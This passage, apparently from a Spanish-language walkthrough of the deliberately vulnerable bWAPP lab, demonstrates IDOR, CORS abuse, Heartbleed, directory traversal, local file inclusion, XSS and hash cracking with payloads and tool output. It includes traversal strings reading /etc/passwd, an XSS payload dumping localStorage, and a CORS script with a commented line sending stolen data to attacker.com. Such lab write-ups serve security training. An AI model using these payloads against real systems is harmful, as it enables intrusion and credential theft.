Observamos que en el formulario de cambio de sercreto se incluye el ID del usuario:


<h1 > Insecure DOR ( Change Secret ) </ h1 >

<p > Change your secret . </p >

< form action ="/ bWAPP / i n s e c u r e _ d i r e c t _ o b j e c t _ r e f _ 1 . php "


method =" POST " >

<p > < label for =" secret " > New secret : </ label > < br / >
< input type =" text " id =" secret " name =" secret " > </p >

< input type =" hidden " name =" login " value =" bee " >

< button type =" submit " name =" action "
value =" change " > Change </ button >

</ form >

Si modificamos el ID (tanto en código como en la petición POST) podemos cambiar


el secreto de otros usuarios.

Insecure DOR (Reset Secret)

Level Low

Observamos que en el formulario de cambio de sercreto se incluye el ID del usuario y


la contraseña que se le asignará:
<h1 > Insecure DOR ( Reset Secret ) </ h1 >

<p > Reset your secret to < input type =" button "
OnClick =" ResetSecret () ;" value =" Any bugs ?" > </ p >

< script type =" text / javascript " >

function ResetSecret ()
{
var xmlHttp ;
// Code for IE7 + , Firefox , Chrome , Opera , Safari
if ( window . XMLHttpRequest )
{
xmlHttp = new XMLHttpRequest () ;
}
// Code for IE6 , IE5
else
{

61
xmlHttp = new ActiveXObject (" Microsoft . XMLHTTP ") ;
}
xmlHttp . open (" POST " ," xxe -2. php " , true ) ;
xmlHttp . setRequestHeader (" Content - type " ," text / xml ;
charset = UTF -8") ;
xmlHttp . send (" < reset > < login > bee </ login > < secret > Any
bugs ? </ secret > </ reset >") ;
}

</ script >

Modificando estos valores (tanto en código como en la petición POST) podemos cam-
biar otras credenciales.

Insecure DOR (Order Tickets)

Level Low

Observamos que en el formulario de compra se incluye el precio de la entrada:


<h1 > Insecure DOR ( Order Tickets ) </ h1 >

< form action ="/ bWAPP / i n s e c u r e _ d i r e c t _ o b j e c t _ r e f _ 2 . php "


method =" POST " >

<p > How many movie tickets would you like to order ? (15 EUR
per ticket ) </p >

<p > I would like to order < input type =" text "
name =" ticket_quantity " value ="1" size ="2" > tickets . </p >

< input type =" hidden " name =" ticket_price " value ="15" >

< button type =" submit " name =" action "
value =" order " > Confirm </ button >

</ form >

Modificando este valor (tanto en código como en la petición POST) podemos cambiar
el precio de los tickets.

En el siguiente caso se ha puesto un importe unitario de -1EUR:


You ordered 100 movie tickets .

Total amount charged from your account automatically : -100 EUR .

Thank you for your order !

62
Cross-Domain Policy File (Flash)

Level Low

file –>fichero sfw comprimido flasm -x cdc.sfw –>fichero sfw descomprimido swfmill
–>volcado de flash a xml para facilitar el trabajo (swfmill swf2xml xdx.swf)

Al acceder al xdx.php se carga el flash, que solicita a la aplicación vulnerable el valor


del secreto.

Cross-Origin Resource Sharing (AJAX)

Level Low

Observamos que no se valida el origen en las peticiones, de forma que un ataque como
el siguiente se puede obtener el contenido:
function SendGET ()
{

var xmlhttp ;
// Code for IE7 + , Firefox , Chrome , Opera , Safari
if ( window . XMLHttpRequest )
{
xmlhttp = new XMLHttpRequest () ;
}
// Code for IE6 , IE5
else
{
xmlhttp = new ActiveXObject (" Microsoft . XMLHTTP ") ;
}
xmlhttp . o nr ead ys ta tec ha ng e = function ()
{
if ( xmlhttp . readyState ==4 && xmlhttp . status ==200)
{
xmlResp = xmlhttp . responseText ;
document . getElementById (" response ") . innerHTML =
xmlResp
alert ( xmlResp ) ;
// document . location =" http :// attacker . com :666/
grab . cgi ?"+ xmlResp ;
}
}
xmlhttp . open (" GET " ," http :// itsecgames . com / bWAPP / secret - cors -1. php
" , true ) ;
// xmlhttp . withCredentials = true ;
xmlhttp . send () ;

63
Level Medium

Aquí se valida el origen de la petición. Para solucionarlo, realizamos un ataque MiTM


y cambiamos, en curso, el origen.

Si lo hacemos directamente (desde cualquier URL), tenemos la siguiente respuesta:


This is just a normal page with no secrets :)

Si por el contrario hacemos creer a la URL que entramos a través de intranet.itsecgames.com


añadiendo la cabecera “Origin”:
GET http :// itsecgames . com / bWAPP / secret - cors -2. php HTTP /1.1
User - Agent : Mozilla /5.0 ( X11 ; Linux x86_64 ; rv :31.0) Gecko /20100101
Firefox /31.0 Iceweasel /31.6.0
Accept :
text / html , application / xhtml + xml , application / xml ; q =0.9 ,*/*; q =0.8
Accept - Language : en - US , en ; q =0.5
Referer : http :// attacker . com / evil / attack - cors . htm
Origin : http :// intranet . itsecgames . com
Connection : keep - alive
Content - Length : 0
Host : itsecgames . com

la respuesta es:
Wolverine ’ s secret : What ’ s a Magneto ?

Local Privilege Escalation (udev)

Una vez dentro de la sesión “bee”, compilamos, identificamos el PID de udevd y co-
piamos un ejecutable a /tmp/run, que se ejecutará como root al ejecutar el exploit.

Old/Backup & Unreferenced Files

Del inventario de documentos de copia de seguridad y configuración propuestos en el


ejercicio:
backd00r . php
c0nfig . inc
p0rtal . bak
p0rtal . zip
web . c0nfig
web . c0nfig . bak
wp - c0nfig . bak

vemos que los siguientes son válidos:

64
http :// itsecgames . com / bWAPP / backdoor . php
http :// itsecgames . com / bWAPP / config . inc
http :// itsecgames . com / bWAPP / portal . bak
http :// itsecgames . com / bWAPP / portal . zip
http :// itsecgames . com / bWAPP / web . config

Adicionalmente, usando dirb se identifica:


# dirb http :// itsecgames . com / bWAPP /

-----------------
DIRB v2 .21
By The Dark Raver
-----------------

START_TIME : Tue May 12 19:50:05 2015


URL_BASE : http :// itsecgames . com / bWAPP /
WORDLIST_FILES : / usr / share / dirb / wordlists / common . txt

-----------------

GENERATED WORDS : 4592

---- Scanning URL : http :// itsecgames . com / bWAPP / ----


== > DIRECTORY : http :// itsecgames . com / bWAPP / admin /
== > DIRECTORY : http :// itsecgames . com / bWAPP / apps /
+ http :// itsecgames . com / bWAPP / backdoor ( CODE :200| SIZE :339)
+ http :// itsecgames . com / bWAPP / bugs ( CODE :200| SIZE :7858)
+ http :// itsecgames . com / bWAPP / captcha ( CODE :302| SIZE :0)
+ http :// itsecgames . com / bWAPP / cgi - bin / ( CODE :403| SIZE :386)
+ http :// itsecgames . com / bWAPP / connect ( CODE :200| SIZE :0)
+ http :// itsecgames . com / bWAPP / credits ( CODE :302| SIZE :0)
== > DIRECTORY : http :// itsecgames . com / bWAPP / db /
== > DIRECTORY : http :// itsecgames . com / bWAPP / documents /
== > DIRECTORY : http :// itsecgames . com / bWAPP / fonts /
== > DIRECTORY : http :// itsecgames . com / bWAPP / images /
+ http :// itsecgames . com / bWAPP / index ( CODE :302| SIZE :0)
+ http :// itsecgames . com / bWAPP / index . php ( CODE :302| SIZE :0)
+ http :// itsecgames . com / bWAPP / info ( CODE :200| SIZE :3426)
+ http :// itsecgames . com / bWAPP / info . php ( CODE :200| SIZE :3426)
+ http :// itsecgames . com / bWAPP / install ( CODE :200| SIZE :2270)
== > DIRECTORY : http :// itsecgames . com / bWAPP / js /
+ http :// itsecgames . com / bWAPP / login ( CODE :200| SIZE :4019)
+ http :// itsecgames . com / bWAPP / logout ( CODE :302| SIZE :0)
== > DIRECTORY : http :// itsecgames . com / bWAPP / logs /
+ http :// itsecgames . com / bWAPP / message ( CODE :200| SIZE :28)
== > DIRECTORY : http :// itsecgames . com / bWAPP / passwords /
+ http :// itsecgames . com / bWAPP / phpinfo ( CODE :200| SIZE :50694)
+ http :// itsecgames . com / bWAPP / phpinfo . php ( CODE :200| SIZE :50507)
+ http :// itsecgames . com / bWAPP / portal ( CODE :200| SIZE :5396)
+ http :// itsecgames . com / bWAPP / robots ( CODE :200| SIZE :167)
+ http :// itsecgames . com / bWAPP / robots . txt ( CODE :200| SIZE :167)
+ http :// itsecgames . com / bWAPP / secret ( CODE :302| SIZE :0)
+ http :// itsecgames . com / bWAPP / security ( CODE :302| SIZE :0)
== > DIRECTORY : http :// itsecgames . com / bWAPP / soap /
== > DIRECTORY : http :// itsecgames . com / bWAPP / stylesheets /
+ http :// itsecgames . com / bWAPP / test ( CODE :200| SIZE :0)

65
+ http :// itsecgames . com / bWAPP / training ( CODE :200| SIZE :3843)
+ http :// itsecgames . com / bWAPP / web . config ( CODE :200| SIZE :7556)

---- Entering directory : http :// itsecgames . com / bWAPP / admin / ----
+ http :// itsecgames . com / bWAPP / admin / index ( CODE :200| SIZE :3160)
+ http :// itsecgames . com / bWAPP / admin / index . php ( CODE :200| SIZE :3160)
+ http :// itsecgames . com / bWAPP / admin / phpinfo ( CODE :200| SIZE :50446)
+ http :// itsecgames . com / bWAPP / admin / phpinfo . php ( CODE :200| SIZE :50458)
+ http :// itsecgames . com / bWAPP / admin / settings ( CODE :200| SIZE :0)

---- Entering directory : http :// itsecgames . com / bWAPP / apps / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / db / ----


(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / documents / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / fonts / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / images / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / js / ----


(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / logs / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / passwords / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / soap / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

---- Entering directory : http :// itsecgames . com / bWAPP / stylesheets /


----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )

-----------------
DOWNLOADED : 9184 - FOUND : 29

66
Robots File (Disclosure)

En el fichero robots.txt observamos:


User - agent : GoodBot
Disallow :

User - agent : BadBot


Disallow : /

User - agent : *
Disallow : / admin /
Disallow : / documents /
Disallow : / images /
Disallow : / passwords /

Validamos el contenido de los ficheros disallowed, y vemos:

http://itsecgames.com/bWAPP/admin/

http://itsecgames.com/bWAPP/passwords/accounts.txt
’ test ’ , ’ test ’
’ test2 ’ , ’ test2 ’
’TES ’ , ’9680 c1 8b 0d9 25 44 f62 8f 89 e36 34 d7 05a b2 93 a0f 6 ’
’ TEST ’ ,
’ e3246772192f581766ce552f48c219e57edecacee76d80387749256435259e3e ’,
’ salt :9 bf6426fdad4c72d508832e06cc64b8d ’
’ test ’ ,
’68 d d 3 0 e f e 5 0 8 4 1 3 7 f 5 6 c 6 e c 9 2 7 8 0 6 7 7 3 1 b a 8 b 2 c 8 6 f 5 8 9 7 8 2 f 7 6 e 3 d e 0 c b 6 6 7 d 6 c ’ ,
’ salt :4 e8c34d94ae9c45cf677bde45194b3d6 ’
’ test ’ ,
’615 c 9 1 c 7 9 5 4 0 2 1 9 9 5 5 c c 7 8 9 2 a 1 4 f 0 1 d d a 9 8 c 4 b 7 c 6 e 9 8 a e 7 a 9 3 6 f 8 8 4 e 3 3 9 4 a e c d ’ ,
’ salt : f117df838460af34aa75d1351a27b1ca ’

http://itsecgames.com/bWAPP/passwords/heroes.xml

67
< heroes > < hero > < id >1 </ id > < login > neo </ login > < password > trinity </
password > < secret > Oh why didn ’ t I took that BLACK pill ? </ secret > <
movie > The Matrix </ movie > < genre > action sci - fi </ genre > </ hero > < hero
> < id >2 </ id > < login > alice </ login > < password > loveZombies </ password > <
secret > There ’ s a cure ! </ secret > < movie > Resident Evil </ movie > <
genre > action horror sci - fi </ genre > </ hero > < hero > < id >3 </ id > < login >
thor </ login > < password > Asgard </ password > < secret > Oh , no ... this is
Earth ... isn ’ t it ? </ secret > < movie > Thor </ movie > < genre > action sci
- fi </ genre > </ hero > < hero > < id >4 </ id > < login > wolverine </ login > <
password > Log@N </ password > < secret > What ’ s a Magneto ? </ secret > <
movie >X - Men </ movie > < genre > action sci - fi </ genre > </ hero > < hero > < id
>5 </ id > < login > johnny </ login > < password > m3ph1st0ph3l3s </ password > <
secret >I ’ m the Ghost Rider ! </ secret > < movie > Ghost Rider </ movie > <
genre > action sci - fi </ genre > </ hero > < hero > < id >6 </ id > < login > selene
</ login > < password > m00n </ password > < secret > It wasn ’ t the Lycans .
It was you . </ secret > < movie > Underworld </ movie > < genre > action
horror sci - fi </ genre > </ hero > </ heroes >

Base64 Encoding (Secret)

Level Low

Observamos que nos coloca la siguiente cookie:


Set - Cookie : secret = QW55IGJ1Z3M %2F ; expires = Wed , 06 - May -2015 18:57:43
GMT ; path =/

Al intentar decodificar “QW55IGJ1Z3M %2F” como BASE64 es incompleto, con lo


que tenemos que recuperar el último caracter desde ASCII: ‘/’.

Al decodificarlo observamos el mensaje original: “Any bugs?”

Level Medium

Identificamos que el secreto se encuentra, probablemente, hasheado mediante SHA-1


usando la aplicación hash-identifier:
hash - identifier

HASH : 83785 e f b b e f 1 b 4 c d f 3 2 6 0 c 5 e 6 5 0 5 f 7 d 2 2 6 1 f 7 3 8 d

Possible Hashs :
[+] SHA -1
[+] MySQL5 - SHA -1( SHA -1( $pass ) )

Least Possible Hashs :


[+] Tiger -160
[+] Haval -160
[+] RipeMD -160
[+] SHA -1( HMAC )

68
[+] Tiger -160( HMAC )
[+] RipeMD -160( HMAC )
[+] Haval -160( HMAC )
[+] SHA -1( MaNGOS )
[+] SHA -1( MaNGOS2 )
[+] sha1 ( $pass . $salt )
[+] sha1 ( $salt . $pass )
[+] sha1 ( $salt . md5 ( $pass ) )
[+] sha1 ( $salt . md5 ( $pass ) . $salt )
[+] sha1 ( $salt . sha1 ( $pass ) )
[+] sha1 ( $salt . sha1 ( $salt . sha1 ( $pass ) ) )
[+] sha1 ( $username . $pass )
[+] sha1 ( $username . $pass . $salt )
[+] sha1 ( md5 ( $pass ) )
[+] sha1 ( md5 ( $pass ) . $salt )
[+] sha1 ( md5 ( sha1 ( $pass ) ) )
[+] sha1 ( sha1 ( $pass ) )
[+] sha1 ( sha1 ( $pass ) . $salt )
[+] sha1 ( sha1 ( $pass ) . substr ( $pass ,0 ,3) )
[+] sha1 ( sha1 ( $salt . $pass ) )
[+] sha1 ( sha1 ( sha1 ( $pass ) ) )
[+] sha1 ( strtolower ( $username ) . $pass )

Mediante diccionario no se consigue ningún resultado:


hashcat -m 100 -a 0 secret . sha1 / usr / share / wordlists / rockyou . txt

Procedemos a hacer las pruebas de fuerza bruta:


hashcat -m 100 -a 3 secret . sha1 ? a ? a ? a ? a ? a ? a ? a ? a ? a

No obstante, tras validar la máscara hasta longitud 6 sin resultados, se valida me-
diante el servicio online “hashkiller” (http://www.hashkiller.co.uk/sha1-decrypter.aspx),
obteniendo el resultado: “Any bugs?”, que validamos localmente:
# echo -n " Any bugs ?" | sha1sum
83785 e f b b e f 1 b 4 c d f 3 2 6 0 c 5 e 6 5 0 5 f 7 d 2 2 6 1 f 7 3 8 d

BEAST/CRIME/BREACH SSL Attacks

Analizamos la seguridad de la conexión:


# sslscan 10.0.14.33:9443
Version : - static
OpenSSL 1.0.1 m - dev xx XXX xxxx

Testing SSL server 10.0.14.33 on port 9443

TLS renegotiation :
Secure session renegotiation supported

TLS Compression :
Compression disabled

69
Heartbleed :
TLS 1.0 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.2 not vulnerable to heartbleed

Supported Server Cipher ( s ) :


Accepted SSLv2 128 bits RC2 - CBC - MD5
Accepted SSLv2 128 bits RC4 - MD5
Accepted SSLv2 112 bits DES - CBC3 - MD5
Accepted SSLv2 56 bits DES - CBC - MD5
Accepted SSLv2 40 bits EXP - RC2 - CBC - MD5
Accepted SSLv2 40 bits EXP - RC4 - MD5
Accepted SSLv3 256 bits AES256 - SHA
Accepted SSLv3 128 bits AES128 - SHA
Accepted SSLv3 128 bits RC4 - SHA
Accepted SSLv3 128 bits RC4 - MD5
Accepted SSLv3 112 bits DES - CBC3 - SHA
Accepted SSLv3 56 bits DES - CBC - SHA
Accepted TLSv1 .0 256 bits AES256 - SHA
Accepted TLSv1 .0 128 bits AES128 - SHA
Accepted TLSv1 .0 128 bits RC4 - SHA
Accepted TLSv1 .0 128 bits RC4 - MD5
Accepted TLSv1 .0 112 bits DES - CBC3 - SHA
Accepted TLSv1 .0 56 bits DES - CBC - SHA

Preferred Server Cipher ( s ) :


SSLv2 128 bits RC2 - CBC - MD5
SSLv3 256 bits AES256 - SHA
TLSv1 .0 256 bits AES256 - SHA

SSL Certificate :
Signature Algorithm : s h a 1 W i t h R S A E n c r y p t i o n
RSA Key Strength : 1024

Subject : bee - box . bwapp . local


Issuer : bee - box . bwapp . local

Clear Text HTTP (Credentials)

Vemos que en el nivel bajo la comunicación se realiza en claro, transmitiendo las


credenciales como sigue:

70
En los niveles medio y alto este aspecto se ha solucionado parcialmente redirigiendo
el POST a una URL segura:
<h1 > Clear Text HTTP ( Credentials ) </ h1 >

<p > Enter your credentials <i >( bee / bug ) </i >. </ p >

< form
action =" https :// localhost / bWAPP / i n s u f f _ t r a n s p _ l a y e r _ p r o t e c t _ 1 . php "
method =" POST " >

<p > < label for =" login " > Login : </ label > < br / >
< input type =" text " id =" login " name =" login " size ="20" / > </p >

<p > < label for =" password " > Password : </ label > < br / >
< input type =" password " id =" password " name =" password "
size ="20" / > </p >

< button type =" submit " name =" form "
value =" submit " > Login </ button >

</ form >

No obstante, el formulario de login es recibido por mediante canales no seguros (HTTP),


por lo que un atacante que realizase un MiTM podría modificar el formulario:
<h1 > Clear Text HTTP ( Credentials ) </ h1 >

<p > Enter your credentials <i >( bee / bug ) </i >. </ p >

< form
action =" http :// localhost / bWAPP / i n s u f f _ t r a n s p _ l a y e r _ p r o t e c t _ 1 . php "
method =" POST " >

<p > < label for =" login " > Login : </ label > < br / >
< input type =" text " id =" login " name =" login " size ="20" / > </p >

<p > < label for =" password " > Password : </ label > < br / >
< input type =" password " id =" password " name =" password "
size ="20" / > </p >

< button type =" submit " name =" form "
value =" submit " > Login </ button >

</ form >

Heartbleed Vulnerability

Realizamos el ataque sobre el puerto 8443:


python ./ heartbleed . py 10.0.14.33 8443 | grep -v "00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00"
Connecting ...
Sending Client Hello ...

71
Waiting for Server Hello ...
... received message : type = 22 , ver = 0302 , length = 66
... received message : type = 22 , ver = 0302 , length = 675
... received message : type = 22 , ver = 0302 , length = 203
... received message : type = 22 , ver = 0302 , length = 4
Sending heartbeat request ...
... received message : type = 24 , ver = 0302 , length = 16384
Received heartbeat response :
0000: 02 40 00 D8 03 02 53 43 5 B 90 9 D 9 B 72 0 B BC 0 C
. @ .... SC [... r ...
0010: BC 2 B 92 A8 48 97 CF BD 39 04 CC 16 0 A 85 03 90
.+.. H ...9.......
0020: 9 F 77 04 33 D4 DE 00 00 66 C0 14 C0 0 A C0 22 C0
. w .3.... f .....".
0030: 21 00 39 00 38 00 88 00 87 C0 0 F C0 05 00 35 00
!.9.8.........5.
0040: 84 C0 12 C0 08 C0 1 C C0 1 B 00 16 00 13 C0 0 D C0
................
0050: 03 00 0 A C0 13 C0 09 C0 1 F C0 1 E 00 33 00 32 00
............3.2.
0060: 9 A 00 99 00 45 00 44 C0 0 E C0 04 00 2 F 00 96 00
.... E . D ...../...
0070: 41 C0 11 C0 07 C0 0 C C0 02 00 05 00 04 00 15 00
A ...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01
................
0090: 00 00 49 00 0 B 00 04 03 00 01 02 00 0 A 00 34 00
.. I ...........4.
00 a0 : 32 00 0 E 00 0 D 00 19 00 0 B 00 0 C 00 18 00 09 00
2...............
00 b0 : 0 A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00
................
00 c0 : 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0 F 00
................
00 d0 : 10 00 11 00 23 00 00 00 0 F 00 01 01 30 2 E 39 2 C
....#.......0.9 ,
00 e0 : 2 A 2 F 2 A 3 B 71 3 D 30 2 E 38 0 D 0 A 41 63 63 65 70
*/*; q =0.8.. Accep
00 f0 : 74 2 D 4 C 61 6 E 67 75 61 67 65 3 A 20 65 6 E 2 D 55 t - Language :
en - U
0100: 53 2 C 65 6 E 3 B 71 3 D 30 2 E 35 0 D 0 A 41 63 63 65
S , en ; q =0.5.. Acce
0110: 70 74 2 D 45 6 E 63 6 F 64 69 6 E 67 3 A 20 67 7 A 69
pt - Encoding : gzi
0120: 70 2 C 20 64 65 66 6 C 61 74 65 0 D 0 A 52 65 66 65 p,
deflate .. Refe
0130: 72 65 72 3 A 20 68 74 74 70 73 3 A 2 F 2 F 31 30 2 E rer :
https ://10.
0140: 30 2 E 31 34 2 E 33 33 3 A 38 34 34 33 2 F 62 57 41
0.14.33:8443/ bWA
0150: 50 50 2 F 6 C 6 F 67 69 6 E 2 E 70 68 70 0 D 0 A 43 6 F
PP / login . php .. Co
0160: 6 F 6 B 69 65 3 A 20 73 65 63 75 72 69 74 79 5 F 6 C okie :
security_l
0170: 65 76 65 6 C 3 D 30 3 B 20 50 48 50 53 45 53 53 49 evel =0;
PHPSESSI
0180: 44 3 D 37 63 30 38 34 34 63 61 62 30 66 32 36 39
D =7 c0844cab0f269

72
0190: 39 65 61 37 36 36 62 65 61 61 34 36 64 62 32 64
9 ea766beaa46db2d
01 a0 : 64 37 0 D 0 A 43 6 F 6 E 6 E 65 63 74 69 6 F 6 E 3 A 20
d7 .. Connection :
01 b0 : 6 B 65 65 70 2 D 61 6 C 69 76 65 0 D 0 A 0 D 0 A 2 F AC
keep - alive ..../.
01 c0 : 84 B9 C4 8 E 1 B 20 C1 3 C 7 B 03 43 DD 59 72 69 63 .....
. <{. C . Yric
01 d0 : 61 74 69 6 F 6 E 2 F 78 2 D 77 77 77 2 D 66 6 F 72 6 D
ation /x - www - form
01 e0 : 2 D 75 72 6 C 65 6 E 63 6 F 64 65 64 0 D 0 A 43 6 F 6 E
- urlencoded .. Con
01 f0 : 74 65 6 E 74 2 D 4 C 65 6 E 67 74 68 3 A 20 35 31 0 D
tent - Length : 51.
0200: 0 A 0 D 0 A 6 C 6 F 67 69 6 E 3 D 62 65 65 26 70 61 73
... login = bee & pas
0210: 73 77 6 F 72 64 3 D 62 75 67 26 73 65 63 75 72 69
sword = bug & securi
0220: 74 79 5 F 6 C 65 76 65 6 C 3 D 30 26 66 6 F 72 6 D 3 D
ty_level =0& form =
0230: 73 75 62 6 D 69 74 65 EA 99 4 B BA 6 B 61 8 B 69 11
submite .. K . ka . i .
0240: 09 46 CB 15 99 D5 00 00 00 00 00 00 00 00 00 00
. F ..............

Donde observamos datos sensibles: PHPSESSID y unas credenciales de acceso.

Host Header Attack (Reset Poisoning)

Para explotar esta debilidad se cambia la cabecera de host en la petición de reseteo,


cambio que se traslada al correo de reseteo de contraseña.

Esta debilidad facilita los ataques de phishing al generar una URL de reseteo de
contraseña arbitraria según el header definido por el atacante en la petición HTTP de
reseteo, enviándole un correo al usuario válido con una URL bajo el control del atacante.

HTML5 Web Storage (Secret)

Level Low

Accedemos a la URL que almacena información en el localStorage de HTML5. Al


acceder a un formulario vulnerable a XSS e inyectando el siguiente código:
< script > for ( var key in localStorage ) { document . write ( ’ < br > <b > ’+ key + ’:
</b > ’+ localStorage [ key ]) }; </ script >

Se nos muestra el contenido del localStorage:

73
Welcome bee
login : bee
secret : Any bugs ?

Text Files (Accounts)

En nivel low se almacenan las contraseñas en claro en un único repositorio.

En nivel medium se hashea (SHA-1)

En nivel high se hashea (SHA-256) con SALT.

Directory Traversal - Directories

Level Low

Observamos que la URL incluye el path a cargar:


http :// target / bWAPP / d i r e c t o r y _ t r a v e r s a l _ 2 . php ? directory = documents

Cambiándolo por otro directorio:


http :// target / bWAPP / d i r e c t o r y _ t r a v e r s a l _ 2 . php ? directory =/ etc

Podemos ver qué ficheros contiene (al más puro estilo “ls”):

74
Level Medium

La inyección propuesta en el nivel bajo es funcional en el nivel medio.

Directory Traversal - Files

Level Low

Observamos que la URL incluye el path del fichero a cargar:


http :// target / bWAPP / d i r e c t o r y _ t r a v e r s a l _ 1 . php ? page = message . txt

Cambiándolo por otro fichero:


http :// target / bWAPP / d i r e c t o r y _ t r a v e r s a l _ 1 . php ? page =/ etc / passwd

Podemos ver qué ficheros contiene (al más puro estilo “cat”):

Level Medium

La inyección propuesta en el nivel bajo es funcional en el nivel medio.

Host Header Attack (Cache Poisoning)

Mediante el cambio de la cabecera “Host” podemos redirigir algunas de las URLs no


relativas (basadas en el valor de la cabecera) de la URL redirigida.

75
Local File Inclusion (SQLiteManager)

Lanzando la siguiente petición, que tiene la cookie de Theme modificada:


GET http :// itsecgames . com / sqlite / main . php HTTP /1.1
User - Agent : Mozilla /5.0 ( X11 ; Linux x86_64 ; rv :31.0) Gecko /20100101
Firefox /31.0 Iceweasel /31.6.0
Accept :
text / html , application / xhtml + xml , application / xml ; q =0.9 ,*/*; q =0.8
Accept - Language : en - US , en ; q =0.5
Referer : http :// itsecgames . com / sqlite / index . php
Cookie : PHPSESSID = a 1 c c d b f d a 6 a b 9 1 6 b 0 2 f d 9 9 4 7 e d 2 b f 2 5 8 ;
S Q L i t e M a n a g e r _ c u r r e n t L a n g u e =2;
S Q L i t e M a n a g e r _ c u r r e n t T h e m e = . . / . . / . . / . . / . . / . . / . . / . . / etc / passwd %00
Connection : keep - alive
Content - Length : 0
Host : itsecgames . com

Se obtiene en la respuesta:
root : x :0:0: root :/ root :/ bin / bash
daemon : x :1:1: daemon :/ usr / sbin :/ bin / sh
bin : x :2:2: bin :/ bin :/ bin / sh
sys : x :3:3: sys :/ dev :/ bin / sh
sync : x :4:65534: sync :/ bin :/ bin / sync
games : x :5:60: games :/ usr / games :/ bin / sh
man : x :6:12: man :/ var / cache / man :/ bin / sh
lp : x :7:7: lp :/ var / spool / lpd :/ bin / sh
mail : x :8:8: mail :/ var / mail :/ bin / sh
news : x :9:9: news :/ var / spool / news :/ bin / sh
uucp : x :10:10: uucp :/ var / spool / uucp :/ bin / sh
proxy : x :13:13: proxy :/ bin :/ bin / sh
www - data : x :33:33: www - data :/ var / www :/ bin / sh
backup : x :34:34: backup :/ var / backups :/ bin / sh
list : x :38:38: Mailing List Manager :/ var / list :/ bin / sh
irc : x :39:39: ircd :/ var / run / ircd :/ bin / sh
gnats : x :41:41: Gnats Bug - Reporting System
( admin ) :/ var / lib / gnats :/ bin / sh
nobody : x :65534:65534: nobody :/ nonexistent :/ bin / sh
libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh
dhcp : x :101:102::/ nonexistent :/ bin / false
syslog : x :102:103::/ home / syslog :/ bin / false
klog : x :103:104::/ home / klog :/ bin / false
hplip : x :104:7: HPLIP system user , , ,:/ var / run / hplip :/ bin / false
avahi - autoipd : x :105:113: Avahi autoip
daemon , , ,:/ var / lib / avahi - autoipd :/ bin / false
gdm : x :106:114: Gnome Display Manager :/ var / lib / gdm :/ bin / false
pulse : x :107:116: PulseAudio daemon , , ,:/ var / run / pulse :/ bin / false
messagebus : x :108:119::/ var / run / dbus :/ bin / false
avahi : x :109:120: Avahi mDNS daemon , , ,:/ var / run / avahi - daemon :/ bin / false
polkituser : x :110:122: PolicyKit , , ,:/ var / run / PolicyKit :/ bin / false
haldaemon : x :111:123: Hardware abstraction
layer , , ,:/ var / run / hald :/ bin / false
bee : x :1000:1000: bee , , ,:/ home / bee :/ bin / bash
mysql : x :112:124: MySQL Server , , ,:/ var / lib / mysql :/ bin / false
sshd : x :113:65534::/ var / run / sshd :/ usr / sbin / nologin
dovecot : x :114:126: Dovecot mail server , , ,:/ usr / lib / dovecot :/ bin / false

76
smmta : x :115:127: Mail Transfer Agent , , ,:/ var / lib / sendmail :/ bin / false
smmsp : x :116:128: Mail Submission
Program , , ,:/ var / lib / sendmail :/ bin / false
neo : x :1001:1001::/ home / neo :/ bin / sh
alice : x :1002:1002::/ home / alice :/ bin / sh
thor : x :1003:1003::/ home / thor :/ bin / sh
wolverine : x :1004:1004::/ home / wolverine :/ bin / sh
johnny : x :1005:1005::/ home / johnny :/ bin / sh
selene : x :1006:1006::/ home / selene :/ bin / sh
postfix : x :117:129::/ var / spool / postfix :/ bin / false
proftpd : x :118:65534::/ var / run / proftpd :/ bin / false
ftp : x :119:65534::/ home / ftp :/ bin / false
snmp : x :120:65534::/ var / lib / snmp :/ bin / false
ntp : x :121:131::/ home / ntp :/ bin / false

Antes del código de la página web.

Remote & Local File Inclusion (RFI/LFI)

Level Low

Observamos que la URL incluye el path del fichero a cargar:


http :// itsecgames . com / bWAPP / rlfi . php ? language = lang_en . php & action = go

Cambiándolo por otro fichero:


http :// itsecgames . com / bWAPP / rlfi . php ? language =/ etc / passwd & action = go

Podemos ver qué ficheros contiene (al más puro estilo “cat”).

Level Medium

En el nivel medio, que no incluye la extensión en el GET:


http :// itsecgames . com / bWAPP / rlfi . php ? language = lang_en & action = go

Podemos replicar el funcionamiento del siguiente modo:


http :// itsecgames . com / bWAPP / rlfi . php ? language =/ etc / passwd %00& action = go

77
XML External Entity Attacks (XXE)

Level Low

Modificando las peticiones en el POST se puede asignar un secreto arbitrario para


el usuario identificado en el tag <login>(por defecto “bee”, pero también posible para
“A.I.M.”).

Adicionalmente, se pueden resetear todos los secretos mediante SQL Injection:


POST http :// itsecgames . com / bWAPP / xxe -2. php HTTP /1.1
(...)

